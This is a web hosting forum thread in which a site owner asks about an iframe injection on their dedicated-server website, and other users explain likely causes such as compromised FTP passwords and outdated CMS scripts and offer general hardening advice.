    Is this a shared hosting account? if so contact your host

    If it is a a dedicated server or vps, then you have some malicious activity going on with the server and it needs to be investigated. It could be happening through a backdoor, php shell, or even through ftp.

    Can you give us more information please?

    There are many of our websites running on the same server. It's a dedicated server running cPanel/WHM. ONLY, our main website is affected http://www.AJKservers.co.uk

    I do not have any more information at the moment as we just noticed this activity and posted here for comments and advices to prevent from this kind of activities. I would need to find the source of this code, but I don't know where to start

    Hello AJKservers,

    I think that check your code again. because of your computer infected by virus and it infected to your html file.

    please try.

    You're right, but I have already re-installed OS, updating windows, windows defender and other anti applications. Trying to remove code from ever page again, and I hope, it won't happen again.

    Thank for your comments guys.

    Re-installed OS of your server OR local machine? Such injections are performed via Ftp OR a compromised script on your server. Re-installing the server OS and removing 'iframe' code won't make any difference if the compromised script is still under your account.

    If the injection is performed by hacking the Ftp password, re-installing your local machine would sort out the things for you. For now. But make sure you install a firewall and limit ftp access to your own IPs so such issues can be minimized.

    Actually, the website was infected from our own local computer via FTP. There was no third party involved. However, the management of the server has also been notified at the time to take further security measures.

    Anyways, I appreciate your response to this thread, madaboutlinux.

    Hello,
    Actually this happens more with people using outdated scripts with known exploits (PSA for those who are using a 3 year old version of WordPress or Joomla ). Nulled scripts are more notorious for Data Leaks or Backdoors.

    The most usual attack is from sniffed FTP passwords in this form of iframe attack.
    First off, either your machine is being sniffed, or someone allowed an insecure script that let in someone to run a plain text sniffer.

    At the least, you will need to change the ftp passes, but after you are sure the sniffer is gone, or do it locally if you are sure it's network based.
    Better, switch from the insecure ftp to at least sftp that can be encrypted, and not sniffed.

    I've seen, literally, about 20 different ways the ftp password was compromised...weak passes (bruteforce attacks), sniffers, compromised configs (containing passes), "notes" left in bad places...

    Most of these are hacked either with close-network password sniffs, or a bad script on someones web site that allowed an upload and execution of a local sniffer (usually an old or mis-configed Wordpress or Joomla, as KDisk said), but probably 95% chance this has to do with a compromised FTP password.
    This is the best signature in the world....Tribute!
    (It is not the best signature in the world, no. This is just a tribute)

    Hello AJKservers,

    I agree with these ideas. Please check your cms component or check your code especially your javascript code. Sometime you copy some verify code of jquery or ajax it will harmful your website. one other thing, I suggest you to use protocol FTPES on your filezilla ftp client to upload your file.

    We never used nulled scripts, softwares on our local computers were outdated, windows defender and antivirus softwares were also outdated.

    Thank you guys for your comments and suggestions. We have updated all scripts, including CMS, forums etc etc , secured local computer, secured sever, changed passwords, and removed iframe from pages.

    Google has also unblocked our website within 3 hours of doing all things. It's now over 35 hours and everything is going good.
